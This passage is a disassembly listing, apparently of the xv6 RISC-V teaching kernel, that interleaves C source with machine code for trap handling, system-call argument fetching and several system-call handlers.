<devintr+0x76> return 1; 8000277c: 4505 li a0,1 } else if(irq){ 8000277e: d8f1 beqz s1,80002752 <devintr+0x1e> printf("unexpected interrupt irq=%d\n", irq); 80002780: 85a6 mv a1,s1 80002782: 00006517 auipc a0,0x6 80002786: b5650513 addi a0,a0,-1194 # 800082d8 <states.1702+0x30> 8000278a: ffffe097 auipc ra,0xffffe 8000278e: e08080e7 jalr -504(ra) # 80000592 <printf> plic_complete(irq); 80002792: 8526 mv a0,s1 80002794: 00003097 auipc ra,0x3 80002798: 498080e7 jalr 1176(ra) # 80005c2c <plic_complete> return 1; 8000279c: 4505 li a0,1 8000279e: bf55 j 80002752 <devintr+0x1e> uartintr(); 800027a0: ffffe097 auipc ra,0xffffe 800027a4: 234080e7 jalr 564(ra) # 800009d4 <uartintr> 800027a8: b7ed j 80002792 <devintr+0x5e> virtio_disk_intr(); 800027aa: 00004097 auipc ra,0x4 800027ae: 91c080e7 jalr -1764(ra) # 800060c6 <virtio_disk_intr> 800027b2: b7c5 j 80002792 <devintr+0x5e> if(cpuid() == 0){ 800027b4: fffff097 auipc ra,0xfffff 800027b8: 1fe080e7 jalr 510(ra) # 800019b2 <cpuid> 800027bc: c901 beqz a0,800027cc <devintr+0x98> asm volatile("csrr %0, sip" : "=r" (x) ); 800027be: 144027f3 csrr a5,sip w_sip(r_sip() & ~2); 800027c2: 9bf5 andi a5,a5,-3 asm volatile("csrw sip, %0" : : "r" (x)); 800027c4: 14479073 csrw sip,a5 return 2; 800027c8: 4509 li a0,2 800027ca: b761 j 80002752 <devintr+0x1e> clockintr(); 800027cc: 00000097 auipc ra,0x0 800027d0: f22080e7 jalr -222(ra) # 800026ee <clockintr> 800027d4: b7ed j 800027be <devintr+0x8a> 00000000800027d6 <usertrap>: { 800027d6: 1101 addi sp,sp,-32 800027d8: ec06 sd ra,24(sp) 800027da: e822 sd s0,16(sp) 800027dc: e426 sd s1,8(sp) 800027de: e04a sd s2,0(sp) 800027e0: 1000 addi s0,sp,32 asm volatile("csrr %0, sstatus" : "=r" (x) ); 800027e2: 100027f3 csrr a5,sstatus if((r_sstatus() & SSTATUS_SPP) != 0) 800027e6: 1007f793 andi a5,a5,256 800027ea: e3ad bnez a5,8000284c <usertrap+0x76> asm volatile("csrw stvec, %0" : : "r" (x)); 800027ec: 00003797 auipc a5,0x3 800027f0: 31478793 addi a5,a5,788 # 80005b00 <kernelvec> 800027f4: 10579073 csrw stvec,a5 struct proc *p = myproc(); 800027f8: fffff097 auipc ra,0xfffff 800027fc: 1e6080e7 jalr 486(ra) # 800019de <myproc> 80002800: 84aa mv s1,a0 p->trapframe->epc = r_sepc(); 80002802: 6d3c ld a5,88(a0) asm volatile("csrr %0, sepc" : "=r" (x) ); 80002804: 14102773 csrr a4,sepc 80002808: ef98 sd a4,24(a5) asm volatile("csrr %0, scause" : "=r" (x) ); 8000280a: 14202773 csrr a4,scause if(r_scause() == 8){ 8000280e: 47a1 li a5,8 80002810: 04f71c63 bne a4,a5,80002868 <usertrap+0x92> if(p->killed) 80002814: 591c lw a5,48(a0) 80002816: e3b9 bnez a5,8000285c <usertrap+0x86> p->trapframe->epc += 4; 80002818: 6cb8 ld a4,88(s1) 8000281a: 6f1c ld a5,24(a4) 8000281c: 0791 addi a5,a5,4 8000281e: ef1c sd a5,24(a4) asm volatile("csrr %0, sstatus" : "=r" (x) ); 80002820: 100027f3 csrr a5,sstatus w_sstatus(r_sstatus() | SSTATUS_SIE); 80002824: 0027e793 ori a5,a5,2 asm volatile("csrw sstatus, %0" : : "r" (x)); 80002828: 10079073 csrw sstatus,a5 syscall(); 8000282c: 00000097 auipc ra,0x0 80002830: 2e0080e7 jalr 736(ra) # 80002b0c <syscall> if(p->killed) 80002834: 589c lw a5,48(s1) 80002836: ebc1 bnez a5,800028c6 <usertrap+0xf0> usertrapret(); 80002838: 00000097 auipc ra,0x0 8000283c: e18080e7 jalr -488(ra) # 80002650 <usertrapret> } 80002840: 60e2 ld ra,24(sp) 80002842: 6442 ld s0,16(sp) 80002844: 64a2 ld s1,8(sp) 80002846: 6902 ld s2,0(sp) 80002848: 6105 addi sp,sp,32 8000284a: 8082 ret panic("usertrap: not from user mode"); 8000284c: 00006517 auipc a0,0x6 80002850: aac50513 addi a0,a0,-1364 # 800082f8 <states.1702+0x50> 80002854: ffffe097 auipc ra,0xffffe 80002858: cf4080e7 jalr -780(ra) # 80000548 <panic> exit(-1); 8000285c: 557d li a0,-1 8000285e: 00000097 auipc ra,0x0 80002862: 846080e7 jalr -1978(ra) # 800020a4 <exit> 80002866: bf4d j 80002818 <usertrap+0x42> } else if((which_dev = devintr()) != 0){ 80002868: 00000097 auipc ra,0x0 8000286c: ecc080e7 jalr -308(ra) # 80002734 <devintr> 80002870: 892a mv s2,a0 80002872: c501 beqz a0,8000287a <usertrap+0xa4> if(p->killed) 80002874: 589c lw a5,48(s1) 80002876: c3a1 beqz a5,800028b6 <usertrap+0xe0> 80002878: a815 j 800028ac <usertrap+0xd6> asm volatile("csrr %0, scause" : "=r" (x) ); 8000287a: 142025f3 csrr a1,scause printf("usertrap(): unexpected scause %p pid=%d\n", r_scause(), p->pid); 8000287e: 5c90 lw a2,56(s1) 80002880: 00006517 auipc a0,0x6 80002884: a9850513 addi a0,a0,-1384 # 80008318 <states.1702+0x70> 80002888: ffffe097 auipc ra,0xffffe 8000288c: d0a080e7 jalr -758(ra) # 80000592 <printf> asm volatile("csrr %0, sepc" : "=r" (x) ); 80002890: 141025f3 csrr a1,sepc asm volatile("csrr %0, stval" : "=r" (x) ); 80002894: 14302673 csrr a2,stval printf(" sepc=%p stval=%p\n", r_sepc(), r_stval()); 80002898: 00006517 auipc a0,0x6 8000289c: ab050513 addi a0,a0,-1360 # 80008348 <states.1702+0xa0> 800028a0: ffffe097 auipc ra,0xffffe 800028a4: cf2080e7 jalr -782(ra) # 80000592 <printf> p->killed = 1; 800028a8: 4785 li a5,1 800028aa: d89c sw a5,48(s1) exit(-1); 800028ac: 557d li a0,-1 800028ae: fffff097 auipc ra,0xfffff 800028b2: 7f6080e7 jalr 2038(ra) # 800020a4 <exit> if(which_dev == 2) 800028b6: 4789 li a5,2 800028b8: f8f910e3 bne s2,a5,80002838 <usertrap+0x62> yield(); 800028bc: 00000097 auipc ra,0x0 800028c0: 8f2080e7 jalr -1806(ra) # 800021ae <yield> 800028c4: bf95 j 80002838 <usertrap+0x62> int which_dev = 0; 800028c6: 4901 li s2,0 800028c8: b7d5 j 800028ac <usertrap+0xd6> 00000000800028ca <kerneltrap>: { 800028ca: 7179 addi sp,sp,-48 800028cc: f406 sd ra,40(sp) 800028ce: f022 sd s0,32(sp) 800028d0: ec26 sd s1,24(sp) 800028d2: e84a sd s2,16(sp) 800028d4: e44e sd s3,8(sp) 800028d6: 1800 addi s0,sp,48 asm volatile("csrr %0, sepc" : "=r" (x) ); 800028d8: 14102973 csrr s2,sepc asm volatile("csrr %0, sstatus" : "=r" (x) ); 800028dc: 100024f3 csrr s1,sstatus asm volatile("csrr %0, scause" : "=r" (x) ); 800028e0: 142029f3 csrr s3,scause if((sstatus & SSTATUS_SPP) == 0) 800028e4: 1004f793 andi a5,s1,256 800028e8: cb85 beqz a5,80002918 <kerneltrap+0x4e> asm volatile("csrr %0, sstatus" : "=r" (x) ); 800028ea: 100027f3 csrr a5,sstatus return (x & SSTATUS_SIE) != 0; 800028ee: 8b89 andi a5,a5,2 if(intr_get() != 0) 800028f0: ef85 bnez a5,80002928 <kerneltrap+0x5e> if((which_dev = devintr()) == 0){ 800028f2: 00000097 auipc ra,0x0 800028f6: e42080e7 jalr -446(ra) # 80002734 <devintr> 800028fa: cd1d beqz a0,80002938 <kerneltrap+0x6e> if(which_dev == 2 && myproc() != 0 && myproc()->state == RUNNING) 800028fc: 4789 li a5,2 800028fe: 06f50a63 beq a0,a5,80002972 <kerneltrap+0xa8> asm volatile("csrw sepc, %0" : : "r" (x)); 80002902: 14191073 csrw sepc,s2 asm volatile("csrw sstatus, %0" : : "r" (x)); 80002906: 10049073 csrw sstatus,s1 } 8000290a: 70a2 ld ra,40(sp) 8000290c: 7402 ld s0,32(sp) 8000290e: 64e2 ld s1,24(sp) 80002910: 6942 ld s2,16(sp) 80002912: 69a2 ld s3,8(sp) 80002914: 6145 addi sp,sp,48 80002916: 8082 ret panic("kerneltrap: not from supervisor mode"); 80002918: 00006517 auipc a0,0x6 8000291c: a5050513 addi a0,a0,-1456 # 80008368 <states.1702+0xc0> 80002920: ffffe097 auipc ra,0xffffe 80002924: c28080e7 jalr -984(ra) # 80000548 <panic> panic("kerneltrap: interrupts enabled"); 80002928: 00006517 auipc a0,0x6 8000292c: a6850513 addi a0,a0,-1432 # 80008390 <states.1702+0xe8> 80002930: ffffe097 auipc ra,0xffffe 80002934: c18080e7 jalr -1000(ra) # 80000548 <panic> printf("scause %p\n", scause); 80002938: 85ce mv a1,s3 8000293a: 00006517 auipc a0,0x6 8000293e: a7650513 addi a0,a0,-1418 # 800083b0 <states.1702+0x108> 80002942: ffffe097 auipc ra,0xffffe 80002946: c50080e7 jalr -944(ra) # 80000592 <printf> asm volatile("csrr %0, sepc" : "=r" (x) ); 8000294a: 141025f3 csrr a1,sepc asm volatile("csrr %0, stval" : "=r" (x) ); 8000294e: 14302673 csrr a2,stval printf("sepc=%p stval=%p\n", r_sepc(), r_stval()); 80002952: 00006517 auipc a0,0x6 80002956: a6e50513 addi a0,a0,-1426 # 800083c0 <states.1702+0x118> 8000295a: ffffe097 auipc ra,0xffffe 8000295e: c38080e7 jalr -968(ra) # 80000592 <printf> panic("kerneltrap"); 80002962: 00006517 auipc a0,0x6 80002966: a7650513 addi a0,a0,-1418 # 800083d8 <states.1702+0x130> 8000296a: ffffe097 auipc ra,0xffffe 8000296e: bde080e7 jalr -1058(ra) # 80000548 <panic> if(which_dev == 2 && myproc() != 0 && myproc()->state == RUNNING) 80002972: fffff097 auipc ra,0xfffff 80002976: 06c080e7 jalr 108(ra) # 800019de <myproc> 8000297a: d541 beqz a0,80002902 <kerneltrap+0x38> 8000297c: fffff097 auipc ra,0xfffff 80002980: 062080e7 jalr 98(ra) # 800019de <myproc> 80002984: 4d18 lw a4,24(a0) 80002986: 478d li a5,3 80002988: f6f71de3 bne a4,a5,80002902 <kerneltrap+0x38> yield(); 8000298c: 00000097 auipc ra,0x0 80002990: 822080e7 jalr -2014(ra) # 800021ae <yield> 80002994: b7bd j 80002902 <kerneltrap+0x38> 0000000080002996 <argraw>: return strlen(buf); } static uint64 argraw(int n) { 80002996: 1101 addi sp,sp,-32 80002998: ec06 sd ra,24(sp) 8000299a: e822 sd s0,16(sp) 8000299c: e426 sd s1,8(sp) 8000299e: 1000 addi s0,sp,32 800029a0: 84aa mv s1,a0 struct proc *p = myproc(); 800029a2: fffff097 auipc ra,0xfffff 800029a6: 03c080e7 jalr 60(ra) # 800019de <myproc> switch (n) { 800029aa: 4795 li a5,5 800029ac: 0497e163 bltu a5,s1,800029ee <argraw+0x58> 800029b0: 048a slli s1,s1,0x2 800029b2: 00006717 auipc a4,0x6 800029b6: a5e70713 addi a4,a4,-1442 # 80008410 <states.1702+0x168> 800029ba: 94ba add s1,s1,a4 800029bc: 409c lw a5,0(s1) 800029be: 97ba add a5,a5,a4 800029c0: 8782 jr a5 case 0: return p->trapframe->a0; 800029c2: 6d3c ld a5,88(a0) 800029c4: 7ba8 ld a0,112(a5) case 5: return p->trapframe->a5; } panic("argraw"); return -1; } 800029c6: 60e2 ld ra,24(sp) 800029c8: 6442 ld s0,16(sp) 800029ca: 64a2 ld s1,8(sp) 800029cc: 6105 addi sp,sp,32 800029ce: 8082 ret return p->trapframe->a1; 800029d0: 6d3c ld a5,88(a0) 800029d2: 7fa8 ld a0,120(a5) 800029d4: bfcd j 800029c6 <argraw+0x30> return p->trapframe->a2; 800029d6: 6d3c ld a5,88(a0) 800029d8: 63c8 ld a0,128(a5) 800029da: b7f5 j 800029c6 <argraw+0x30> return p->trapframe->a3; 800029dc: 6d3c ld a5,88(a0) 800029de: 67c8 ld a0,136(a5) 800029e0: b7dd j 800029c6 <argraw+0x30> return p->trapframe->a4; 800029e2: 6d3c ld a5,88(a0) 800029e4: 6bc8 ld a0,144(a5) 800029e6: b7c5 j 800029c6 <argraw+0x30> return p->trapframe->a5; 800029e8: 6d3c ld a5,88(a0) 800029ea: 6fc8 ld a0,152(a5) 800029ec: bfe9 j 800029c6 <argraw+0x30> panic("argraw"); 800029ee: 00006517 auipc a0,0x6 800029f2: 9fa50513 addi a0,a0,-1542 # 800083e8 <states.1702+0x140> 800029f6: ffffe097 auipc ra,0xffffe 800029fa: b52080e7 jalr -1198(ra) # 80000548 <panic> 00000000800029fe <fetchaddr>: { 800029fe: 1101 addi sp,sp,-32 80002a00: ec06 sd ra,24(sp) 80002a02: e822 sd s0,16(sp) 80002a04: e426 sd s1,8(sp) 80002a06: e04a sd s2,0(sp) 80002a08: 1000 addi s0,sp,32 80002a0a: 84aa mv s1,a0 80002a0c: 892e mv s2,a1 struct proc *p = myproc(); 80002a0e: fffff097 auipc ra,0xfffff 80002a12: fd0080e7 jalr -48(ra) # 800019de <myproc> if(addr >= p->sz || addr+sizeof(uint64) > p->sz) 80002a16: 653c ld a5,72(a0) 80002a18: 02f4f863 bgeu s1,a5,80002a48 <fetchaddr+0x4a> 80002a1c: 00848713 addi a4,s1,8 80002a20: 02e7e663 bltu a5,a4,80002a4c <fetchaddr+0x4e> if(copyin(p->pagetable, (char *)ip, addr, sizeof(*ip)) != 0) 80002a24: 46a1 li a3,8 80002a26: 8626 mv a2,s1 80002a28: 85ca mv a1,s2 80002a2a: 6928 ld a0,80(a0) 80002a2c: fffff097 auipc ra,0xfffff 80002a30: d32080e7 jalr -718(ra) # 8000175e <copyin> 80002a34: 00a03533 snez a0,a0 80002a38: 40a00533 neg a0,a0 } 80002a3c: 60e2 ld ra,24(sp) 80002a3e: 6442 ld s0,16(sp) 80002a40: 64a2 ld s1,8(sp) 80002a42: 6902 ld s2,0(sp) 80002a44: 6105 addi sp,sp,32 80002a46: 8082 ret return -1; 80002a48: 557d li a0,-1 80002a4a: bfcd j 80002a3c <fetchaddr+0x3e> 80002a4c: 557d li a0,-1 80002a4e: b7fd j 80002a3c <fetchaddr+0x3e> 0000000080002a50 <fetchstr>: { 80002a50: 7179 addi sp,sp,-48 80002a52: f406 sd ra,40(sp) 80002a54: f022 sd s0,32(sp) 80002a56: ec26 sd s1,24(sp) 80002a58: e84a sd s2,16(sp) 80002a5a: e44e sd s3,8(sp) 80002a5c: 1800 addi s0,sp,48 80002a5e: 892a mv s2,a0 80002a60: 84ae mv s1,a1 80002a62: 89b2 mv s3,a2 struct proc *p = myproc(); 80002a64: fffff097 auipc ra,0xfffff 80002a68: f7a080e7 jalr -134(ra) # 800019de <myproc> int err = copyinstr(p->pagetable, buf, addr, max); 80002a6c: 86ce mv a3,s3 80002a6e: 864a mv a2,s2 80002a70: 85a6 mv a1,s1 80002a72: 6928 ld a0,80(a0) 80002a74: fffff097 auipc ra,0xfffff 80002a78: d76080e7 jalr -650(ra) # 800017ea <copyinstr> if(err < 0) 80002a7c: 00054763 bltz a0,80002a8a <fetchstr+0x3a> return strlen(buf); 80002a80: 8526 mv a0,s1 80002a82: ffffe097 auipc ra,0xffffe 80002a86: 412080e7 jalr 1042(ra) # 80000e94 <strlen> } 80002a8a: 70a2 ld ra,40(sp) 80002a8c: 7402 ld s0,32(sp) 80002a8e: 64e2 ld s1,24(sp) 80002a90: 6942 ld s2,16(sp) 80002a92: 69a2 ld s3,8(sp) 80002a94: 6145 addi sp,sp,48 80002a96: 8082 ret 0000000080002a98 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80002a98: 1101 addi sp,sp,-32 80002a9a: ec06 sd ra,24(sp) 80002a9c: e822 sd s0,16(sp) 80002a9e: e426 sd s1,8(sp) 80002aa0: 1000 addi s0,sp,32 80002aa2: 84ae mv s1,a1 *ip = argraw(n); 80002aa4: 00000097 auipc ra,0x0 80002aa8: ef2080e7 jalr -270(ra) # 80002996 <argraw> 80002aac: c088 sw a0,0(s1) return 0; } 80002aae: 4501 li a0,0 80002ab0: 60e2 ld ra,24(sp) 80002ab2: 6442 ld s0,16(sp) 80002ab4: 64a2 ld s1,8(sp) 80002ab6: 6105 addi sp,sp,32 80002ab8: 8082 ret 0000000080002aba <argaddr>: // Retrieve an argument as a pointer. // Doesn't check for legality, since // copyin/copyout will do that. int argaddr(int n, uint64 *ip) { 80002aba: 1101 addi sp,sp,-32 80002abc: ec06 sd ra,24(sp) 80002abe: e822 sd s0,16(sp) 80002ac0: e426 sd s1,8(sp) 80002ac2: 1000 addi s0,sp,32 80002ac4: 84ae mv s1,a1 *ip = argraw(n); 80002ac6: 00000097 auipc ra,0x0 80002aca: ed0080e7 jalr -304(ra) # 80002996 <argraw> 80002ace: e088 sd a0,0(s1) return 0; } 80002ad0: 4501 li a0,0 80002ad2: 60e2 ld ra,24(sp) 80002ad4: 6442 ld s0,16(sp) 80002ad6: 64a2 ld s1,8(sp) 80002ad8: 6105 addi sp,sp,32 80002ada: 8082 ret 0000000080002adc <argstr>: // Fetch the nth word-sized system call argument as a null-terminated string. // Copies into buf, at most max. // Returns string length if OK (including nul), -1 if error. int argstr(int n, char *buf, int max) { 80002adc: 1101 addi sp,sp,-32 80002ade: ec06 sd ra,24(sp) 80002ae0: e822 sd s0,16(sp) 80002ae2: e426 sd s1,8(sp) 80002ae4: e04a sd s2,0(sp) 80002ae6: 1000 addi s0,sp,32 80002ae8: 84ae mv s1,a1 80002aea: 8932 mv s2,a2 *ip = argraw(n); 80002aec: 00000097 auipc ra,0x0 80002af0: eaa080e7 jalr -342(ra) # 80002996 <argraw> uint64 addr; if(argaddr(n, &addr) < 0) return -1; return fetchstr(addr, buf, max); 80002af4: 864a mv a2,s2 80002af6: 85a6 mv a1,s1 80002af8: 00000097 auipc ra,0x0 80002afc: f58080e7 jalr -168(ra) # 80002a50 <fetchstr> } 80002b00: 60e2 ld ra,24(sp) 80002b02: 6442 ld s0,16(sp) 80002b04: 64a2 ld s1,8(sp) 80002b06: 6902 ld s2,0(sp) 80002b08: 6105 addi sp,sp,32 80002b0a: 8082 ret 0000000080002b0c <syscall>: [SYS_close] sys_close, }; void syscall(void) { 80002b0c: 1101 addi sp,sp,-32 80002b0e: ec06 sd ra,24(sp) 80002b10: e822 sd s0,16(sp) 80002b12: e426 sd s1,8(sp) 80002b14: e04a sd s2,0(sp) 80002b16: 1000 addi s0,sp,32 int num; struct proc *p = myproc(); 80002b18: fffff097 auipc ra,0xfffff 80002b1c: ec6080e7 jalr -314(ra) # 800019de <myproc> 80002b20: 84aa mv s1,a0 num = p->trapframe->a7; 80002b22: 05853903 ld s2,88(a0) 80002b26: 0a893783 ld a5,168(s2) 80002b2a: 0007869b sext.w a3,a5 if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80002b2e: 37fd addiw a5,a5,-1 80002b30: 4751 li a4,20 80002b32: 00f76f63 bltu a4,a5,80002b50 <syscall+0x44> 80002b36: 00369713 slli a4,a3,0x3 80002b3a: 00006797 auipc a5,0x6 80002b3e: 8ee78793 addi a5,a5,-1810 # 80008428 <syscalls> 80002b42: 97ba add a5,a5,a4 80002b44: 639c ld a5,0(a5) 80002b46: c789 beqz a5,80002b50 <syscall+0x44> p->trapframe->a0 = syscalls[num](); 80002b48: 9782 jalr a5 80002b4a: 06a93823 sd a0,112(s2) 80002b4e: a839 j 80002b6c <syscall+0x60> } else { printf("%d %s: unknown sys call %d\n", 80002b50: 15848613 addi a2,s1,344 80002b54: 5c8c lw a1,56(s1) 80002b56: 00006517 auipc a0,0x6 80002b5a: 89a50513 addi a0,a0,-1894 # 800083f0 <states.1702+0x148> 80002b5e: ffffe097 auipc ra,0xffffe 80002b62: a34080e7 jalr -1484(ra) # 80000592 <printf> p->pid, p->name, num); p->trapframe->a0 = -1; 80002b66: 6cbc ld a5,88(s1) 80002b68: 577d li a4,-1 80002b6a: fbb8 sd a4,112(a5) } } 80002b6c: 60e2 ld ra,24(sp) 80002b6e: 6442 ld s0,16(sp) 80002b70: 64a2 ld s1,8(sp) 80002b72: 6902 ld s2,0(sp) 80002b74: 6105 addi sp,sp,32 80002b76: 8082 ret 0000000080002b78 <sys_exit>: #include "spinlock.h" #include "proc.h" uint64 sys_exit(void) { 80002b78: 1101 addi sp,sp,-32 80002b7a: ec06 sd ra,24(sp) 80002b7c: e822 sd s0,16(sp) 80002b7e: 1000 addi s0,sp,32 int n; if(argint(0, &n) < 0) 80002b80: fec40593 addi a1,s0,-20 80002b84: 4501 li a0,0 80002b86: 00000097 auipc ra,0x0 80002b8a: f12080e7 jalr -238(ra) # 80002a98 <argint> return -1; 80002b8e: 57fd li a5,-1 if(argint(0, &n) < 0) 80002b90: 00054963 bltz a0,80002ba2 <sys_exit+0x2a> exit(n); 80002b94: fec42503 lw a0,-20(s0) 80002b98: fffff097 auipc ra,0xfffff 80002b9c: 50c080e7 jalr 1292(ra) # 800020a4 <exit> return 0; // not reached 80002ba0: 4781 li a5,0 } 80002ba2: 853e mv a0,a5 80002ba4: 60e2 ld ra,24(sp) 80002ba6: 6442 ld s0,16(sp) 80002ba8: 6105 addi sp,sp,32 80002baa: 8082 ret 0000000080002bac <sys_getpid>: uint64 sys_getpid(void) { 80002bac: 1141 addi sp,sp,-16 80002bae: e406 sd ra,8(sp) 80002bb0: e022 sd s0,0(sp) 80002bb2: 0800 addi s0,sp,16 return myproc()->pid; 80002bb4: fffff097 auipc ra,0xfffff 80002bb8: e2a080e7 jalr -470(ra) # 800019de <myproc> } 80002bbc: 5d08 lw a0,56(a0) 80002bbe: 60a2 ld ra,8(sp) 80002bc0: 6402 ld s0,0(sp) 80002bc2: 0141 addi sp,sp,16 80002bc4: 8082 ret 0000000080002bc6 <sys_fork>: uint64 sys_fork(void) { 80002bc6: 1141 addi sp,sp,-16 80002bc8: e406 sd ra,8(sp) 80002bca: e022 sd s0,0(sp) 80002bcc: 0800 addi s0,sp,16 return fork(); 80002bce: fffff097 auipc ra,0xfffff 80002bd2: 1d0080e7 jalr 464(ra) # 80001d9e <fork> } 80002bd6: 60a2 ld ra,8(sp) 80002bd8: 6402 ld s0,0(sp) 80002bda: 0141 addi sp,sp,16 80002bdc: 8082 ret 0000000080002bde <sys_wait>: uint64 sys_wait(void) { 80002bde: 1101 addi sp,sp,-32 80002be0: ec06 sd ra,24(sp) 80002be2: e822 sd s0,16(sp) 80002be4: 1000 addi s0,sp,32 uint64 p; if(argaddr(0, &p) < 0) 80002be6: fe840593 addi a1,s0,-24 80002bea: 4501 li a0,0 80002bec: 00000097 auipc ra,0x0 80002bf0: ece080e7 jalr -306(ra) # 80002aba <argaddr> 80002bf4: 87aa mv a5,a0 return -1; 80002bf6: 557d li a0,-1 if(argaddr(0, &p) < 0) 80002bf8: 0007c863 bltz a5,80002c08 <sys_wait+0x2a> return wait(p); 80002bfc: fe843503 ld a0,-24(s0) 80002c00: fffff097 auipc ra,0xfffff 80002c04: 668080e7 jalr 1640(ra) # 80002268 <wait> } 80002c08: 60e2 ld ra,24(sp) 80002c0a: 6442 ld s0,16(sp) 80002c0c: 6105 addi sp,sp,32 80002c0e: 8082 ret 0000000080002c10 <sys_sbrk>: uint64 sys_sbrk(void) { 80002c10: 7179 addi sp,sp,-48 80002c12: f406 sd ra,40(sp) 80002c14: f022 sd s0,32(sp) 80002c16: ec26 sd s1,24(sp) 80002c18: 1800 addi s0,sp,48 int addr; int n; if(argint(0, &n) < 0) 80002c1a: fdc40593 addi a1,s0,-36 80002c1e: 4501 li a0,0 80002c20: 00000097 auipc ra,0x0 80002c24: e78080e7 jalr -392(ra) # 80002a98 <argint> 80002c28: 87aa mv a5,a0 return -1; 80002c2a: 557d li a0,-1 if(argint(0, &n) < 0) 80002c2c: 0207c063 bltz a5,80002c4c <sys_sbrk+0x3c> addr = myproc()->sz; 80002c30: fffff097 auipc ra,0xfffff 80002c34: dae080e7 jalr -594(ra) # 800019de <myproc> 80002c38: 4524 lw s1,72(a0) if(growproc(n) < 0) 80002c3a: fdc42503 lw a0,-36(s0) 80002c3e: fffff097 auipc ra,0xfffff 80002c42: 0ec080e7 jalr 236(ra) # 80001d2a <growproc> 80002c46: 00054863 bltz a0,80002c56 <sys_sbrk+0x46> return -1; return addr; 80002c4a: 8526 mv a0,s1 } 80002c4c: 70a2 ld ra,40(sp) 80002c4e: 7402 ld s0,32(sp) 80002c50: 64e2 ld s1,24(sp) 80002c52: 6145 addi sp,sp,48 80002c54: 8082 ret return -1; 80002c56: 557d li a0,-1 80002c58: bfd5 j 80002c4c <sys_sbrk+0x3c> 0000000080002c5a <sys_sleep>: uint64 sys_sleep(void) { 80002c5a: 7139 addi sp,sp,-64 80002c5c: fc06 sd ra,56(sp) 80002c5e: f822 sd s0,48(sp) 80002c60: f426 sd s1,40(sp) 80002c62: f04a sd s2,32(sp) 80002c64: ec4e sd s3,24(sp) 80002c66: 0080 addi s0,sp,64 int n; uint ticks0; if(argint(0, &n) < 0) 80002c68: fcc40593 addi a1,s0,-52 80002c6c: 4501 li a0,0 80002c6e: 00000097 auipc ra,0x0 80002c72: e2a080e7 jalr -470(ra) # 80002a98 <argint> return -1; 80002c76: 57fd li a5,-1 if(argint(0, &n) < 0) 80002c78: 06054563 bltz a0,80002ce2 <sys_sleep+0x88> acquire(&tickslock); 80002c7c: 00015517 auipc a0,0x15 80002c80: aec50513 addi a0,a0,-1300 # 80017768 <tickslock> 80002c84: ffffe097 auipc ra,0xffffe 80002c88: f8c080e7 jalr -116(ra) # 80000c10 <acquire> ticks0 = ticks; 80002c8c: 00006917 auipc s2,0x6 80002c90: 39492903 lw s2,916(s2) # 80009020 <ticks> while(ticks - ticks0 < n){ 80002c94: fcc42783 lw a5,-52(s0) 80002c98: cf85 beqz a5,80002cd0 <sys_sleep+0x76> if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 80002c9a: 00015997 auipc s3,0x15 80002c9e: ace98993 addi s3,s3,-1330 # 80017768 <tickslock> 80002ca2: 00006497 auipc s1,0x6 80002ca6: 37e48493 addi s1,s1,894 # 80009020 <ticks> if(myproc()->killed){ 80002caa: fffff097 auipc ra,0xfffff 80002cae: d34080e7 jalr -716(ra) # 800019de <myproc> 80002cb2: 591c lw a5,48(a0) 80002cb4: ef9d bnez a5,80002cf2 <sys_sleep+0x98> sleep(&ticks, &tickslock); 80002cb6: 85ce mv a1,s3 80002cb8: 8526 mv a0,s1 80002cba: fffff097 auipc ra,0xfffff 80002cbe: 530080e7 jalr 1328(ra) # 800021ea <sleep> while(ticks - ticks0 < n){ 80002cc2: 409c lw a5,0(s1) 80002cc4: 412787bb subw a5,a5,s2 80002cc8: fcc42703 lw a4,-52(s0) 80002ccc: fce7efe3 bltu a5,a4,80002caa <sys_sleep+0x50> } release(&tickslock); 80002cd0: 00015517 auipc a0,0x15 80002cd4: a9850513 addi a0,a0,-1384 # 80017768 <tickslock> 80002cd8: ffffe097 auipc ra,0xffffe 80002cdc: fec080e7 jalr -20(ra) # 80000cc4 <release> return 0; 80002ce0: 4781 li a5,0 } 80002ce2: 853e mv a0,a5 80002ce4: 70e2 ld ra,56(sp) 80002ce6: 7442 ld s0,48(sp) 80002ce8: 74a2 ld s1,40(sp) 80002cea: 7902 ld s2,32(sp) 80002cec: 69e2 ld s3,24(sp) 80002cee: 6121 addi sp,sp,64 80002cf0: 8082 ret release(&tickslock); 80002cf2: 00015517 auipc a0,0x15 80002cf6: a7650513 addi a0,a0,-1418 # 80017768 <tickslock> 80002cfa: ffffe097 auipc ra,0xffffe 80002cfe: fca080e7 jalr -54(ra) # 80000cc4 <release> return -1; 80002d02: 57fd li a5,-1 80002d04: bff9 j 80002ce2 <sys_sleep+0x88> 0000000080002d06 <sys_kill>: uint64 sys_kill(void) { 80002d06: 1101 addi sp,sp,-32 80002d08: ec06 sd ra,24(sp) 80002d0a: e822 sd s0,16(sp) 80002d0c: 1000 addi s0,sp,32 int pid; if(argint(0, &pid) < 0) 80002d0e: fec40593 addi a1,s0,-20 80002d12: 4501 li a0,0 80002d14: 00000097 auipc ra,0x0 80002d18: d84080e7 jalr -636(ra) # 80002a98 <argint> 80002d1c: 87aa mv a5,a0 return -1; 80002d1e: 557d li a0,-1 if(argint(0, &pid) < 0) 80002d20: 0007c863 bltz a5,80002d30 <sys_kill+0x2a> return kill(pid); 80002d24: fec42503 lw a0,-20(s0) 80002d28: fffff097 auipc ra,0xfffff 80002d2c: 6b2080e7 jalr 1714(ra) # 800023da <kill> } 80002d30: 60e2 ld ra,24(sp) 80002d32: 6442 ld s0,16(sp) 80002d34: 6105 addi sp,sp,32 80002d36: 8082 ret 0000000080002d38 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. uint64 sys_uptime(void) { 80002d38: 1101 addi sp,sp,-32 80002d3a: ec06 sd ra,24(sp) 80002d3c: e822 sd s0,16(sp) 80002d3e: e426 sd s1,8(sp) 80002d40: 1000 addi s0,sp,32 uint xticks; acquire(&tickslock); 80002d42: 00015517 auipc a0,0x15 80002d46: a2650513 addi a0,a0,-1498 # 80017768 <tickslock> 80002d4a: ffffe097 auipc ra,0xffffe 80002d4e: ec6080e7 jalr -314(ra) # 80000c10 <acquire> xticks = ticks; 80002d52: 00006497 auipc s1,0x6 80002d56: 2ce4a483 lw s1,718(s1) # 80009020 <ticks> release(&tickslock); 80002d5a: 00015517 auipc a0,0x15 80002d5e: a0e50513 addi a0,a0,-1522 # 80017768 <tickslock> 80002d62: ffffe097 auipc ra,0xffffe 80002d66: f62080e7 jalr -158(ra) # 80000cc4 <release> return 